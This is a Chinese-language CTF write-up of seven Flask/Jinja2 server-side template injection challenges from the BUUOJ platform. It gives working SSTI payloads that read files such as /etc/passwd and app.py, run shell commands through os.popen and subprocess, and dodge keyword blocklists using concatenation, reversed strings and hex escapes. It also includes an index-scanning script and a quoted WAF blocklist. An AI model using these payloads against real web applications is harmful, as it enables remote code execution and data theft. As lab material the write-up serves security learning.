竞赛平台:https://buuoj.cn/
1.[GYCTF2020]FlaskApp 第零步,Flask模板注入知识梳理:
1.通过使用魔法函数可以实现,在没有注册某个模块的条件下,调用模块的功能。
__class__返回对象所属类型
__mro__返回对象所属类、所继承的基类元组,方法在解析时按照元组的顺序解析
__base__返回该对象所继承的基类,一般是object,如果不是需要使用上一个方法
// __base__和__mro__都是用来寻找基类的
__subclasses__返回子类
__init__类的初始化方法
__globals__对包含函数全局变量的字典的引用
例子(windows python 3.7):
''.__class__
''.__class__.__mro__(, )
''.__class__.__base__
''.__class__.__mro__[1].__subclasses__()列出了所有子类
''.__class__.__base__.__subclasses__()和上面效果相同
其他例子(未知环境):
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()读取文件
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')执行系统命令
如果函数已经被__init__了,还可以通过下面方法执行命令:
''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
关于内建函数:
当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。内置的函数名字会放在内建名称空间中,初始的builtins模块提供内建名称空间到内建对象的映射。
在
__builtins__
中,有像len
、str
这样熟悉的函数。python沙盒溢出的关键:从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。
【CTF|Flask SSTI注入学习】参考链接:SSTI/沙盒逃逸详细总结
第一步,使Base64解密报错,具体报错如下:
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode()) #报错位置
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res =render_template_string(tmp)
函数获取text值直接解码,并将解码结果放到tmp中。如果
waf
函数检查发现tmp中存在注入行为,则会返回no no no !!
;否则直接在模板上显示tmp。因此,我们的目的是绕过waf函数实现注入。
第二步,读源码。
将下面的代码加密后输入解密框中(在报错提示中可以看到文件名为app.py):
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
得到报错:
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['
SECRET_KEY'
] = '
s_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('
BASE64加密'
,validators= [DataRequired()]) submit = SubmitField('
提交'
) class NameForm1(FlaskForm): text = StringField('
BASE64解密'
,validators= [DataRequired()]) submit = SubmitField('
提交'
) def waf(str): black_list = ["
flag"
,"
os"
,"
system"
,"
popen"
,"
import"
,"
eval"
,"
chr"
,"
request"
, "
subprocess"
,"
commands"
,"
socket"
,"
hex"
,"
base64"
,"
*"
,"
?"
] for x in black_list : if x in str.lower() : return 1 @app.route('
/hint'
,methods=['
GET'
]) def hint(): txt = "
失败乃成功之母!!"
return render_template("
hint.html"
,txt = txt) @app.route('
/'
,methods=['
POST'
,'
GET'
]) def encode(): if request.values.get('
text'
) : text = request.values.get("
text"
) text_decode = base64.b64encode(text.encode()) tmp = "
结果 :{0}"
.format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('
encode'
)) else : text = "
"
form = NameForm(text) return render_template("
index.html"
,form = form ,method = "
加密"
,img = "
flask.png"
) @app.route('
/decode'
,methods=['
POST'
,'
GET'
]) def decode(): if request.values.get('
text'
) : text = request.values.get("
text"
) text_decode = base64.b64decode(text.encode()) tmp = "
结果 : {0}"
.format(text_decode.decode()) if waf(tmp) : flash("
no no no !!"
) return redirect(url_for('
decode'
)) res = render_template_string(tmp) flash( res ) return redirect(url_for('
decode'
)) else : text = "
"
form = NameForm1(text) return render_template("
index.html"
,form = form, method = "
解密"
, img = "
flask1.png"
) @app.route('
/<
name>
'
,methods=['
GET'
]) def not_found(name): return render_template("
404.html"
,name = name) if __name__ == '
__main__'
: app.run(host="
0.0.0.0"
, port=5000, debug=True)
if waf(tmp) :
flash("
no no no !!"
)
return redirect(url_for('
decode'
))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('
decode'
)) else : text = "
"
form = NameForm1(text) return render_template("
index.html"
,form = form, method = "
解密"
, img = "
flask1.png"
)
可以看到里面有
waf
函数的定义,可以看到被过滤的词语:def waf(str):
black_list =["
flag"
,"
os"
,"
system"
,"
popen"
,"
import"
,"
eval"
,"
chr"
,"
request"
, "
subprocess"
,"
commands"
,"
socket"
,"
hex"
,"
base64"
,"
*"
,"
?"
]
for x in black_list :
if x in str.lower() :
return 1
第三步,找文件。
利用字符串拼接寻找目录:
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
加密后输入解密框中,发现this_is_the_flag.txt:
['
bin'
, '
boot'
, '
dev'
, '
etc'
, '
home'
, '
lib'
, '
lib64'
, '
media'
, '
mnt'
, '
opt'
, '
proc'
, '
root'
, '
run'
, '
sbin'
, '
srv'
, '
sys'
, '
tmp'
, '
usr'
, '
var'
, '
this_is_the_flag.txt'
, '
.dockerenv'
, '
app'
]
第四步,读取flag。
txt.galf_eht_si_siht
是倒写字符串来绕过{% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
或者使用下面的payload,执行popen命令读取文件:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eva'+'l' in b.keys() %}{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }}{% endif %}{% endif %}{% endfor %} {% endif %} {% endfor %}
加密后输入解密框中,得到flag:
flag{aa17e119-b692-4f87-962f-cf0b5201aeb3}
2.[WesternCTF2018]shrine 访问网址,直接得到源码:
import flask import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
输入数据经过
safe_jinja
的过滤,被jinja渲染。safe_jinja
替换了左括号和右括号,如果s有左右大括号,里面又有config或者self,就会被整体替换成None。为了获取例如
current_app
这样的全局变量信息,需要使用包含该变量的两个函数,url_for
和get_flashed_messages
注入
{{url_for.__globals__}}
或者get_flashed_messages.__globals__
,可以得到... 'current_app': ...
注入
{{url_for.__globals__['current_app'].config}}
得到flag:flag{c9d4bc6f-a536-4f5f-b89c-dd9856d58381}
3.[CSCCTF 2019 Qual]FlaskLight 一开始打开题目页面,可以看到:
You searched for:
None
Here is your result
['CCC{Fl49_p@l5u}', 'CSC CTF 2019', 'Welcome to CTF Bois', 'CCC{Qmu_T3rtyPuuuuuu}', 'Tralala_trilili']
F12查看源代码,看到提示:
构造输入
?search={{7*7}}
,看到页面返回49,构造?search={{7*'7'}}
,得到7777777,确定是jinja2模板。访问
?search={{config}}
,得到'SECRET_KEY': 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}'
,暗示flag在这个目录下。需要编写代码,查看有哪些包含全局变量的函数:
python3脚本:
参考解题链接
import requests
import re
import html
import timeindex = 0
for i in range(170, 1000):
try:
url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("You searched for:<\/h2>\W+(.*)<\/h3>", r.text)
time.sleep(0.1)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
subprocess模块可以用来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
从输出结果中可以看到index值为258,于是构造payload测试:
''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()
看到:
('bin\nboot\ndev\netc\nflasklight\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n', None)
接着构造:
''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()
看到:app.py coomme_geeeett_youur_flek
读flag:
''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()
flag{4f8bdc79-8954-494f-abb1-606b787271ac}
4.[Flask]SSTI 漏洞利用 vulhub的github地址
一打开页面,显示Hello guest
使用读源码payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
页面显示:
Hello from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
获取eval函数并执行任意python代码:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /var/").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
可以利用漏洞
5.[RootersCTF2019]I_??_Flask 由于完全没有参数的提示,因此需要arjun工具利用传参进行爆破。
arjun工具
python3 arjun.py -u http://11c3a132-1bdb-4fa2-8f9a-a15a04e93389.node3.buuoj.cn/-m GET -c 200
得到参数name
?name={{7*7}}
,显示496.[CISCN2019 总决赛 Day1 Web3]Flask Message Board 只有Author处可以被注入,注入
{{config}}
得到:I1l|1i1|il|1lIIlI1l1|1l|lI1||1|1|I||IlI1
7.[pasecactf_2019]flask_ssti 查看网页源代码,可以看到js代码,是向后端发送POST请求,innerHTML会被前端直接显示:
function send(){
let nickname = $('#nickname')[0].value;
if(nickname.length > 0){
$.post("/", {'nickname': nickname}, function(data){
$('#msg')[0].innerHTML = '' + data + '';
$('#error')[0].className = "shorten_error_display";
});
}
}
发现过滤
.
、_
、'
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
//用这个去执行命令
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
//用这个去读取文件
这里读取app.py发现flag是经过加密的。然后加密函数在源码中。
然后会删掉flag。这里我比较懒。。直接读取/proc/self/fd/3。得到Flag
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
最终得到flag{9586d411-dd16-4593-955a-4b467a6a3858}
参考解题链接
推荐阅读
- ctf|《从0到1(CTFer成长之路》)
- web端|web全栈开发(web前后端数据交互。html5+jquery作为前端、Python+flask作为后端)
- docker|Docker项目部署docker+flask+gunicorn
- Docker系列|【Docker系列】Python Flask + Redis 练习程序
- Flask中SQLAlchemy配置SQLite
- flask中模板引擎怎么用()
- Flask中login如何定制登陆过程
- flask中Login的使用
- flask中如何对数据库进行管理